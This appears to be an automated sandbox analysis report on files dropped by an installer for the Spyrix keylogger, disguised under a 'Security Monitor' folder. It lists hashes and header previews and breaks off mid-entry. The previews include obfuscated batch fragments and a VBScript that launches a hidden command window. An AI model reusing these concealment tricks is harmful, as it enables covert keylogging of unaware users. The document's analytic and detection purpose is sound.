SHA1:	442715CE26B000A34E25DBE9BED05863C2488096
SHA-256:	2E92C42276AEA8D407AE41B3D8B63E6C39F33EC8D1CEEB4C632B54073B56BDA3
SHA-512:	50B6035BA8C2B4F871CD2CEF057A4CF21433999E6EBC2566DD92843D4F3DFFEF00198FA80F3D34424FAF049BEAFAFA637DB1FD061251A7D10FC82735E0313A92
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................&...>J.............P....@..........................P........L...@... ......................0..G........C...........................p..(...........................L-.......................................................text...h...........................`..`.rodata.L..........................`.``.rotext..............t.............. .P`.data...\|U...P...V...*..............@.p..rdata...k.......k.................@..@.bss........@2.......................`..edata..G....0........2.............@.0@.idata...C.......D....A.............@.0..CRT....4....P........B.............@.0..tls.........`........B.............@.0..reloc..(....p........B.............@.0B........................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\iMsgInfo.bmp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PC bitmap, Windows 3.x format, 48 x 48 x 24, resolution 2835 x 2835 px/m, cbSize 6966, bits offset 54
Category:	dropped
Size (bytes):	6966
Entropy (8bit):	5.257630429556265
Encrypted:	false
SSDEEP:	96:qJsQ8ADU7ROZX0dzdVry5xFdakbSYiq3G4wcwcOIqS:cCA5ZX4zdc5xFdakbSYiqWCjd
MD5:	B83D443D2415453D2BD5BA3D64233AF0
SHA1:	71D6B4D21842B2E2214CA09A82BD0301BD02796F
SHA-256:	99D10B82F2BD584C5B6554514B1A747EC4DD9D8131D3B397244B3D36084D3CA1
SHA-512:	C7D2A341F45CF5F858EF28341574E26D5F6C4D2F7FCB32F6A490E5F4F1DF6B6E1A7D1B82329162C46F2734EB446298741A3B82F6D961AC82C376FDF767FA0F22
Malicious:	false
Reputation:	unknown
Preview:	BM6.......6...(...0...0...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j..U..O.z>.z>..P..V..m................................................................................................................c.{4..B..P..b.e.v.v.f..b..Q..C.{5..d................................................................................................K..D..`.y.................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\id.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	4.432468112054125
Encrypted:	false
SSDEEP:	6:hmRBMeZSMo29ncrTMo29ncrZHbMo29ncrhMo29ncrXMo29ncrMMo29ncQXp23dUy:wbgK6fK6hbK6VK6bK6IK6CU9SL/A
MD5:	498851BBE00277D04DB98A521FE760F7
SHA1:	671A1E5F003A81734DCF193321F60AC0C7AB1739
SHA-256:	1F5C9CB793AAC6CB8B677222C0689A955CE2A52B4022E6179AB70EB8A4261513
SHA-512:	98C1DC048EDDFCB72EDA4DE75C8237FF19A4B8AFA9D31572ED608BF8018713AE4073F82F0CF838B09CE4F51746A3B17DC88619ACC7C2C6FF7453FE885059AE50
Malicious:	false
Reputation:	unknown
Preview:	@echo off..set u_id=..cmd /c exit 83..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 112..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 121..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 114..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 105..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 120..set u_id=%u_id%%=exitcodeAscii%..set prg_id=%u_id% Free Keylogger..set d_id=dashboard..set p_id=https..set e_id=xe

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-1N2MA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 7 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -128x-128, 32 bits/pixel
Category:	dropped
Size (bytes):	110709
Entropy (8bit):	3.109239298068923
Encrypted:	false
SSDEEP:	384:yy+9VgmfdFYGZaAvurTUh2Asjh74zcW3X0+JaRCBiwmXtmdP:A9OmlFYGZaAG06V74QWNaRCEfwP
MD5:	7E0A58E864F4BD416D0B62A8D90FEBFE
SHA1:	B23CDD7F9AEBF120582C2C2C246F17E846521CF9
SHA-256:	D91EB200D2E6623A83FA036C8446455B3D56067939C027AB83BF7957D6B5D5FF
SHA-512:	0AE59E850429F7BA30C787B38FDAEC896710F4BD4D12F749EFB6C79AE89070CAB24182E05E54BC6E8D2EFA8C29CC420B892A1A583C9AD9A7EA446F095F5E944D
Malicious:	false
Reputation:	unknown
Preview:	............ .o!..v......... .(....!..@@.... .(B...*..00.... ..%..5l.. .... .............. ............... .h........PNG........IHDR.............\r.f..!6IDATx...\|U....37+.DPvd.A..(T....V[[..$lj......E._....Zm.H.bm...........Ev..YC ..y.{M.k..r33.....~.p.9..<3.....z.h....0.[H.=%E..../\6...D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,.... ..e....D.y4X...@.z1..s.b&..GX.CZ9.........DN...3A.....p......a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,...." . H).........,.?H(`.n`...;........ 4.....][..u.(..Z..#nXX..`...`...ye..._.TKA..0..0..D^...4.,.K...3\|..F..B`..._.z..r2......Nn&C.U`.X..`....>..wt?_...K}^[....U....9..[X.X..`......_,.....s.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-269PL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1308909
Entropy (8bit):	6.226978823759581
Encrypted:	false
SSDEEP:	24576:8tdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt54DTx9KJ:kqTytRFk6ek14hk
MD5:	E7AB51FCD6A4B56B17A6D7019743346A
SHA1:	0AC79F07195B6D6C25D64864C762E5910D8DC52F
SHA-256:	3BA57A14C77AD692AD21D6502ED32A9FFD1E23CF908F70A4E3E13635DEBED246
SHA-512:	1F2CAA370B45ACCEF65E1863EEC48D02395349D44FDED44E9FE3652F5CDA05A3DC271295550EC9905826F964D20E9774793DACA0937F5D79308154E060AFD808
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@..........................p............@......@..............................@8...0...2................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc....2...0...4...l..............@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-3JAMQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2012072
Entropy (8bit):	6.507543848379717
Encrypted:	false
SSDEEP:	24576:I/+4IbyaBqP3uDjd5DGX0BcSRDEpMFWJQi2GstDTwT7ijxHviMgaMVp/bdK6dF3r:cKJ+SCpnZsgNdK48h9njDQBB
MD5:	C0E67E8723775249CA0AE2C52E7EDD9E
SHA1:	3C460DBE351520494B0DCD8CAF5E1B0A53ACD2E4
SHA-256:	D73E36AC1840D1D34DDF62DF55A8CFD64C17FCA9C92C3159D891964C2A7D0C3F
SHA-512:	1A5AFA83529DB0B4F573D1BBC38BDA6958BE6991343E76A267516043250CE960E859560EE9433DFB93EF42CDBF97DED87CB3871057C8C746C4A75E2AAF548FD4
Malicious:	false
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-3JAMQ.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......b..........................................@..........................@......$%...........@...............................;......l................!...`..\|&...........................P...............................0..&....................text............................... ..`.itext........... .................. ..`.data....{.......\|..................@....bss.....W...........\|...................idata...;.......<...\|..............@....didata.&....0......................@....tls....<....@...........................rdata.......P......................@..@.reloc..\|&...`...(..................@..B.rsrc...l...........................@..@.............P......................@..@........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-4Q7R0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with very long lines (382), with CRLF line terminators
Category:	dropped
Size (bytes):	44330
Entropy (8bit):	5.402734283969903
Encrypted:	false
SSDEEP:	768:7YLAdR2Vq+XlkbR/JrZrxvBl+EODixVDJjAn4s1QwwwSQffUVzdQWrCZvbXXMs:ULAf2Y+0N5yEOD2DtA4VBaHUVhNChLXR
MD5:	9EF476730ADA792F79ECEC1A17B353DA
SHA1:	1CC1EE286B1AF1612B5C841C446487C8A886FCDE
SHA-256:	93C5A3C337F6377B97960E9EF502B49DBA8B74E1110FB91C87753DF9F512BCC2
SHA-512:	2ADCF1A5BF4C48F37D7CA19868168D5A455A4C259E6DB05958985A5077E5E4AB86E4E3CC5B44FB07D437B1FEAB9FB27C44E2E79F234816B1B49FE2A02BA98054
Malicious:	false
Reputation:	unknown
Preview:	rem gibtqhekf39mgpqap5pxyt2te17k9o7aapwwaxt2uqh9r9ulftm2bkrq1rgk6jho47nxpwejvsj5zxyatyx7v10hl8l8zdaf84vopfithjvmoz48uzg6bg2u..@echo off..rem x2bd8l07ny0pa06la0e5iujfktvb2pxkx20nj52l1zmdoo23hxvkc75pexdzdn0b48fkj0..rem maux0ukutdxt9tbb88k0q2i09t1216lj0qg09sa93u3yvhcp5l51f7aitf1chki5hkjy0c2td23wx9rl9c0y7patqsuftpcx6y0cf1..rem jcqykl0xdea3l63f01mzzek33rov71ykztdzp1wr677iyor7b9ytvp0sxzz0djpcbkrxol0lo2i86lrilpiuhyjnt0cn703qe4rj5xdw2wplwh0dxqnxwkf4..@chcp 65001..rem 90iuh7dibiwuy7yq2e2b2gy600lp47nfpilcfpieauuxvqyrwylx0n50fr2q5azxth0wgzvsbpjk2v..rem z3dfn3scjmyjo9a3frstejhv4ek1ju057o08jay6c2t2fb3ighivzzze3paxxxvd08uxu0eur0a02d8uak0m340rcn0b4fy5bhw36l3jsplk87..rem yszm15xv7y41j1jfecxaynqd0nrzl5pl0pl8sfyxf5zsc299itmk98beo4ie8buu90i7kn760wm62breujvtlwr500gratijbkx0ihkz51gpsm3rzi0p1t0b..@rem UTF-8 encoding..rem c5bsy9uclhsu8v2ionuxjz8..rem kyq0rsrtz3j0lepwuipik3cwyqc36oeagz62c0z7jp2h1ttg00c0n35tfkqiwxxijqj7cxy0q7t7b730ygponok8zdjjlkfgl6omw0pezkdoof9t..rem jnag4uwbmfqgh7y8t4uz46lf5zj18z3s00h2mdyyms

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-4QL75.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, xresolution=98, yresolution=106, resolutionunit=2, software=paint.net 4.0.10], baseline, precision 8, 320x240, components 3
Category:	dropped
Size (bytes):	3095
Entropy (8bit):	6.729660321273714
Encrypted:	false
SSDEEP:	48:u8/Pc+/bx0uERAGX6j9UCqgD97QB2xdddddddddddddd5a:u8Hc+zlEJX6lQcW
MD5:	499B10F1F3AE7CA6ACFBA3735EE75F4C
SHA1:	D5CFC9E2DC00A443052765491A915A503EF9C800
SHA-256:	EAF22AE8407F8DD0AC9F4FA7885A2DA8AFE288B09B2C4B87F6F17C5D50F2A988
SHA-512:	F29D30CBB427598E8577606791AF3C8277391BBF1AD7964217EAF78B807A6DFC9B99846F128A5F23BE7A409A3F7DAD81F3E5FC9B2CD15C12742A98A45A7CDDB6
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`......Exif..MM..................b...........j.(...........1.........rQ...........Q...........Q..................`.......`....paint.net 4.0.10.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............************************************************........@.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-632MH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3588216
Entropy (8bit):	6.632180080317583
Encrypted:	false
SSDEEP:	98304:Q61JrfvgRnMoHNNbwH3MhrHAGeEyU/4BiCklNl5tj0Qh+Pw/YlAKGC9eX2nuZHz7:/rfvgRMoHNNbwH3eTeEyU/4BiCklNl5D
MD5:	D9EA512EE580ECFFEE587A4C3759527F
SHA1:	B91480398B8820436B6634421D5AF628E482B890
SHA-256:	4C493F7DC51A50BBE139993CDB1267DD1F7A33020DF9075ECD7D28FDCE9EC63F
SHA-512:	BA212D929E7EE9478FF141F36950673EABCB31F71C39818D3F6A0A6F7AB57E2676445D815BAF6BC5F97477B4C8D6CBCC07F8051B87CFE800924064B5989CE7C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Z\..................(...6..:............(...@..........................07.....\|.7...@... ......................P5.1....`5.......5.X.............6.x.....5..\|............................4.....................0e5.\|............................text.....(.......(.................`..`.data....=....(..>....(.............@.`..rdata....... ).......).............@.`@.bss.....9....5.......................`..edata..1....P5.......5.............@.0@.idata.......`5.. ....5.............@.0..CRT....4.....5......(5.............@.0..tls..........5......*5.............@.0..rsrc...X.....5......,5.............@.0..reloc...\|....5..~...45.............@.0B................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-9ATRT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5346216
Entropy (8bit):	7.988360707624317
Encrypted:	false
SSDEEP:	98304:9Aukt/stZJew8Q4dDEzRGWhn2C+RQJ0AbFGPIdPcMAWF2X+3ftgKOJT8:yLRTV5dD4RHd2d6bMQpAOQJI
MD5:	11ADE4625528B6E7E1601681867E094E
SHA1:	8B15562DD9E126772489D6AA0471DC0AA6C7D584
SHA-256:	83D34416005C617CB29111CBB4AFC963DFB293C67BB78481734ED927BCA5B67F
SHA-512:	20E4D7EC8C33433EEA1A879008DCA19F235E051FE5F7E58DD950E13993355205CC8792C08EC7C506ADF0B284E845A01C5BBC36DBDD5899294F3EEB0D38CEAD52
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...}..f.................rF...................F...@...........................,.......R..........@..........................\|l&......@N.8............rQ..!...........`h......................l&..............................................................@F.........................@............@...PF......2..............@............@....F......J..............@.................G.....................@............P....H..H..................@.................H......"..............@.................H......$..............@.................H......$..............@............@....I..h...&..............@....rsrc.... ...@N.....................@................`h...+..B..............@....data....`...`&..`....K.............@....adata........,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ASDJS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1274880
Entropy (8bit):	6.836546460752662
Encrypted:	false
SSDEEP:	24576:te0Xn1+KpPCrpxqqyfATvxlLVNqRadDqef2BLbIEnp1VWMVRdzd:tJ0frxRqRIDXfuI2p1FVRdzd
MD5:	D66922B7D10F688564B1CFB25B2681EC
SHA1:	E97422EF6B23366FCD196DF334BD111FEBF2E880
SHA-256:	E0E0697DBCD35C5C8E6E0E19C8A4186F7902D95227E8D7C0AE1C90E0E56370A1
SHA-512:	5BCDB4D574E95B699EDEC336CA596C1D9446A648D27AD2B32E0D5C14F301F2EF783AE53062D9FE9E6FA956BF04A0B4F4F1B845B5194A72B2F9EAED4D9E9C0EBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q..v...v...v.......v.......v...w.>.v..=....v...v...v.....r.v.......v.......v.......v.Rich..v.........PE..L...L*.O...........!.....4...\|.......].......P.......................................%.........................................x.... ..8....................0......pR..................................@............P..4............................text....2.......4.................. ..`.rdata.......P.......8..............@..@.data.......p...p...T..............@....rsrc...8.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-CF97D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.4065994592116873
Encrypted:	false
SSDEEP:	24:4nISm6zYtefo8+9n8Qm8NUF8hxR8Y8Y82KIl:uzmIeefw9PmKx7l
MD5:	8CD9FC7BAA20456A91F3AC4DCEB36D1C
SHA1:	B40529BB8752FACB6C2BA3421FDE5670A45D58E3
SHA-256:	B9E55A391E3C165DE3B3D08C49C7695B350623E37DD71A5A051D90A027939710
SHA-512:	B271657DE4EB639C92877C3C83C0F67254A32D0BCEB48999EABDD9095D5B1804B946E4FDEA217E7BE0F7D1877AA0F9CA7AFEE69576AC9962AFBCFAECDFD1B14F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................................................................................................j...d...d...j..............................................d...p...........p...d...~...............................s...d.........................c...q..........................d.................................d......................q...t...................................y...l...................d...................d...~...................d...................d...v...u...d...d...........................d...................d...d...i..................................d...................d...................................d...d...d...................d.......................k...d...p..........d...................d..........................................d...................d...........................................d...................d...........................................d.......................n...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EI053.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3588216
Entropy (8bit):	6.632180080317583
Encrypted:	false
SSDEEP:	98304:Q61JrfvgRnMoHNNbwH3MhrHAGeEyU/4BiCklNl5tj0Qh+Pw/YlAKGC9eX2nuZHz7:/rfvgRMoHNNbwH3eTeEyU/4BiCklNl5D
MD5:	D9EA512EE580ECFFEE587A4C3759527F
SHA1:	B91480398B8820436B6634421D5AF628E482B890
SHA-256:	4C493F7DC51A50BBE139993CDB1267DD1F7A33020DF9075ECD7D28FDCE9EC63F
SHA-512:	BA212D929E7EE9478FF141F36950673EABCB31F71C39818D3F6A0A6F7AB57E2676445D815BAF6BC5F97477B4C8D6CBCC07F8051B87CFE800924064B5989CE7C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Z\..................(...6..:............(...@..........................07.....\|.7...@... ......................P5.1....`5.......5.X.............6.x.....5..\|............................4.....................0e5.\|............................text.....(.......(.................`..`.data....=....(..>....(.............@.`..rdata....... ).......).............@.`@.bss.....9....5.......................`..edata..1....P5.......5.............@.0@.idata.......`5.. ....5.............@.0..CRT....4.....5......(5.............@.0..tls..........5......*5.............@.0..rsrc...X.....5......,5.............@.0..reloc...\|....5..~...45.............@.0B................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EQFVV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	225
Entropy (8bit):	4.8759757685468275
Encrypted:	false
SSDEEP:	6:j+q9NqhVIZ3WGpDSRR26RuBFCOoVgfBbtLFu:Kqahm5WGDS3vuvCO0Yq
MD5:	BDFC59070BFBBB84ED2FB09198896A81
SHA1:	D8C6E3A0E847199D16DC237C7BEC47A4148EB3D6
SHA-256:	033C50986AD34B15E737466398CF5E06116E560251040899871D97EC33E03B47
SHA-512:	DAEAEEDB6744464E6B524EACE531B902A066BA2E643F7626142D9444F070261EC9B0D6C4EA4A4C9874646A951D62B2D218B0ACC48E0FAFCF5CB9DEA0CF661E96
Malicious:	false
Reputation:	unknown
Preview:	Set objShell = CreateObject("WScript.Shell")..Dim FilePath..FilePath = WScript.ScriptFullName..FilePath = Left(FilePath, Len(FilePath) - 10)..objShell.CurrentDirectory = FilePath..objShell.Run "cmd.exe /c plist.cmd", 0, False

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-G2FM0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://dashboard.spyrix.com">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.722027548259444
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzPK/tWwMdyTHn:HRYFVmjzPAt0dyTH
MD5:	D1CA0FE113AE79394ECFA5225B06D03A
SHA1:	2EFEB00BC64706B390FA188776A423DD871AE842
SHA-256:	A9A52C2A16DAB18ED9E869CAE2F486327040572461E05FB8F774DC543A82CD45
SHA-512:	BFDE031A1C39770EEAF27F0874B01C99BCA6D3EAB2D55B9FABFD28CAD2EF6D56387510548DFCA3F575D7341B16B05961C00083E19AB33A07A84343B257CB385A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://dashboard.spyrix.com"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-HULMH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PC bitmap, Windows 3.x format, 48 x 48 x 24, resolution 2835 x 2835 px/m, cbSize 6966, bits offset 54
Category:	dropped
Size (bytes):	6966
Entropy (8bit):	5.257630429556265
Encrypted:	false
SSDEEP:	96:qJsQ8ADU7ROZX0dzdVry5xFdakbSYiq3G4wcwcOIqS:cCA5ZX4zdc5xFdakbSYiqWCjd
MD5:	B83D443D2415453D2BD5BA3D64233AF0
SHA1:	71D6B4D21842B2E2214CA09A82BD0301BD02796F
SHA-256:	99D10B82F2BD584C5B6554514B1A747EC4DD9D8131D3B397244B3D36084D3CA1
SHA-512:	C7D2A341F45CF5F858EF28341574E26D5F6C4D2F7FCB32F6A490E5F4F1DF6B6E1A7D1B82329162C46F2734EB446298741A3B82F6D961AC82C376FDF767FA0F22
Malicious:	false
Reputation:	unknown
Preview:	BM6.......6...(...0...0...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j..U..O.z>.z>..P..V..m................................................................................................................c.{4..B..P..b.e.v.v.f..b..Q..C.{5..d................................................................................................K..D..`.y.................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-IFJUI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	826775
Entropy (8bit):	6.520580307753605
Encrypted:	false
SSDEEP:	24576:QJCoOO8Mh2X8Vy0JHfv3kDpigeLKh2R6fFQVp:QL8MFVym/kDpitLKZy
MD5:	16A1612789DC9063EBEA1CB55433B45B
SHA1:	438FDE2939BBB9B5B437F64F21C316C17CE4A7F6
SHA-256:	6DEAEC2F96C8A1C20698A93DDD468D5447B55AC426DC381EEF5D91B19953BB7B
SHA-512:	D727CE8CD793C09A8688ACCB7A2EB5D8F84CC198B8E9D51C21E2DFB11D850F3AC64A58D07FF7FE9D1A2FDB613567E4790866C08A423176216FF310BF24A5A7E3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...TM<W....*......!.....j.........................a.........................`.......#........ .........................................x.......................@/..................................................................................text...,i.......j..................`.P`.data................p..............@.`..rdata..............................@.`@.bss..................................`..edata...............f..............@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...x...........................@.0..reloc..@/.......0..................@.0B/4........... ......................@.@B/19.........0......................@..B/31..................j..............@..B/45.................................@..B/57.................................@.0B/70.....i.... ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ILFVG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	330752
Entropy (8bit):	6.515569416355077
Encrypted:	false
SSDEEP:	6144:67uz8VUGgQvLpVZ0hRBbV94fT5fyEH1iiDDR/WzdHAjdqqI4PFtK9S7/Q0RHK9mo:uuwUGggLpVZ0NbV9CNfyEHAiDDR/Wzdt
MD5:	CB66A1FEC9236CD46E2A3E5A00D887A5
SHA1:	531113059786F73A8C2376E08A12E62970B41E51
SHA-256:	73234A2B168E2CA92B2E09346C48FB85CF10085FAF76D7923257986B3F528E1C
SHA-512:	F5E3AD6B8FD6DCE55C0596BAF6961F86CD98598075899C02FB0B5C32FAF26FEA80C7C348C08D5D5FE41D89D61D869CF27AB230962A896D085206A895881CD926
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hN.. ... ... ...[... ..q.... ..q.... ..q.... ...!.>. ..q..>. ..q.... ..q.... ..q.... .Rich.. .........................PE..L...L*.O...........!.........b......+........................................`.........................................p$...y..<.......8.................... ..D+...................................u..@...............P............................text...P........................... ..`.rdata..@...........................@..@.data...D\.......@..................@....rsrc...8...........................@..@.reloc...1... ...2..................@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JF90R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5041576
Entropy (8bit):	7.897794442025251
Encrypted:	false
SSDEEP:	98304:qsV54zBHy/xGu5//Sjl9WBOo/lKCJPNKr0NPq5Csnm7vkj:Rj49SMuJ/pv9p1gEn2
MD5:	5788EF0F651292941577684F0499B114
SHA1:	81B688AE137BB2F79C44B8A22737CB1416D2C00B
SHA-256:	625BC8352D48D8F0764CAD81AEE94217D4B139DFD00E51DCAA5128F36CD20952
SHA-512:	7A71FD55F60A0B5CE82FF61381E73B38E16B495784739B0580D391FCD652A4C147FF8E558939B1AF4D085F749B6EE42C142D52037CA1BF0B61C64A49C3D2A7C3
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....<.f..................,..X................,...@...................................M..........@..........................\|...p.....5...............L..!............E.......................................................................................,......*..................@............@....,.....................@............0....,......H..............@............p... ......................@............P....0..<..................@.................0.....................@.................0.....................@.................1.....................@.................1.....................@....rsrc.........5.....................@................E...&... .............@....d....................G.............@....adata..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-KF6J5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.084962500721156
Encrypted:	false
SSDEEP:	3:sLvovFN/tQZn:EItK
MD5:	70C758B45D366FDD5BA4F0D0D1088B94
